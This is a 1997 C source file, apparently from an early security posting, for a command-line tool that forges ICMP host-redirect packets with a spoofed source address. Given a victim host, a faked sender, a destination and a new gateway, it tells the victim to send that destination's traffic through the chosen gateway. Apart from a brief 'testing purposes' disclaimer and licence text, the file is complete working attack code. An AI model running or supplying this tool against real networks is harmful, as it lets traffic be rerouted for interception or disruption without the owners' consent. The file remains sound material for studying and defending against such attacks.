/*
 * generic ICMP redirect sender - tested on Solaris 2.5 (sparc)
 * compile with cc -o red red.c -lsocket -lnsl  
 * 
 * Mark Henderson <ratatosk@mail2me.com>  - feb 1997
 * 
 * usage: red sendto sendfrom redir_addr gw 
 * where: 
 *   sendto is the address or hostname of the machine to send the redirect to 
 *   sendfrom is the hostname/IP address that the packet should appear to 
 *        come from 
 *   redir_addr is the hostname/IP address to redirect packets for 
 *   gw is the hostname/IP address of the new gateway for redir_addr
 * 
 * I wrote this for testing purposes. Please don't use it to attack machines or
 * disrupt services.
 * 
 * Portions of this code are Copyright (c) 1989, 1993 The Regents of the
 * University of California.  All rights reserved.
 * 
 * This code is derived from software contributed to Berkeley by Mike Muuss.
 * 
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are
 * met: 1. Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer. 2.
 * Redistributions in binary form must reproduce the above copyright notice,
 * this list of conditions and the following disclaimer in the documentation
 * and/or other materials provided with the distribution. 3. All advertising
 * materials mentioning features or use of this software must display the
 * following acknowledgement: This product includes software developed by the
 * University of California, Berkeley and its contributors. 4. Neither the
 * name of the University nor the names of its contributors may be used to
 * endorse or promote products derived from this software without specific
 * prior written permission.
 * 
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR
 * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
 * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

int
main (int argc, char **argv)
{
  int s;
  char buf[100];
  struct ip *ip = (struct ip *) buf;
  struct icmp *icmp = (struct icmp *) (ip + 1);
  struct hostent *hp;
  struct sockaddr_in dst;
  int offset;
  int on = 1;

  bzero (buf, sizeof buf);

  if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_IP)) < 0)
    {
      perror ("socket");
      exit (1);
    }
#ifdef IP_HDRINCL
  if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
    {
      perror ("IP_HDRINCL");
      exit (1);
    }
#endif
  if (argc != 5)
    {
      fprintf (stderr, "usage: %s sendto sendfrom redir_addr gw\n", argv[0]);
      exit (1);
    }
  if ((hp = gethostbyname (argv[1])) == NULL)
    {
      if ((ip->ip_dst.s_addr = inet_addr (argv[1])) == -1)
        {
          fprintf (stderr, "%s: unknown host\n", argv[1]);
        }
    }
  else
    {
      bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
    }
  if ((hp = gethostbyname (argv[2])) == NULL)
    {
      if ((ip->ip_src.s_addr = inet_addr (argv[2])) == -1)
        {
          fprintf (stderr, "%s: unknown host\n", argv[2]);
        }
    }
  else
    {
      bcopy (hp->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
    }
  if ((hp = gethostbyname (argv[3])) == NULL)
    {
      if ((icmp->icmp_ip.ip_dst.s_addr = inet_addr (argv[3])) == -1)
        {
          fprintf (stderr, "%s: unknown host\n", argv[3]);
        }
    }
  else
    {
      bcopy (hp->h_addr_list[0], &icmp->icmp_ip.ip_dst.s_addr, hp->h_length);
    }
  if ((hp = gethostbyname (argv[4])) == NULL)
    {
      if ((icmp->icmp_gwaddr.s_addr = inet_addr (argv[4])) == -1)
        {
          fprintf (stderr, "%s: unknown host\n", argv[4]);
        }
    }
  else
    {
      bcopy (hp->h_addr_list[0], &icmp->icmp_gwaddr.s_addr, hp->h_length);
    }
  printf ("Sending to %s\n", inet_ntoa (ip->ip_dst));
  ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0;
  ip->ip_len = htons (sizeof buf); ip->ip_id = htons (4321);
  ip->ip_off = 0; ip->ip_ttl = 255; ip->ip_p = 1;
  ip->ip_sum = 0;               /* kernel fills this in */

  bcopy (&ip->ip_dst.s_addr, &icmp->icmp_ip.ip_src.s_addr, sizeof (ip->ip_dst.s_addr));
  icmp->icmp_ip.ip_v = 4;
  icmp->icmp_ip.ip_hl = sizeof *ip >> 2;
  icmp->icmp_ip.ip_tos = 0;
  icmp->icmp_ip.ip_len = htons (100);   /* doesn't matter much */
  icmp->icmp_ip.ip_id = htons (3722);
  icmp->icmp_ip.ip_off = 0;
  icmp->icmp_ip.ip_ttl = 254;
  icmp->icmp_ip.ip_p = 1;
  icmp->icmp_ip.ip_sum = in_cksum ((u_short *) & icmp->icmp_ip, sizeof *ip);

  dst.sin_addr = ip->ip_dst;
  dst.sin_family = AF_INET;

  icmp->icmp_type = ICMP_REDIRECT;
  icmp->icmp_code = 1; /* host redirect */

  icmp->icmp_cksum = in_cksum ((u_short *) icmp, sizeof (buf) - sizeof (*ip));

  if (sendto (s, buf, sizeof buf, 0, (struct sockaddr *) &dst,
              sizeof dst) < 0)
    {
      perror ("sendto");
      exit (1);
    }
  exit (0);
}
/*
 * in_cksum -- Checksum routine for Internet Protocol family headers (C
 * Version) - code from 4.4 BSD
 */
in_cksum (addr, len)
     u_short *addr;
     int len;
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  /*
   * Our algorithm is simple, using a 32 bit accumulator (sum), we add
   * sequential 16 bit words to it, and at the end, fold back all the
   * carry bits from the top 16 bits into the lower 16 bits.
   */
  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }

  /* mop up an odd byte, if necessary */
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }
  /* add back carry outs from top 16 bits to low 16 bits */
  sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
  sum += (sum >> 16);           /* add carry */
  answer = ~sum;                /* truncate to 16 bits */
  return (answer);
}
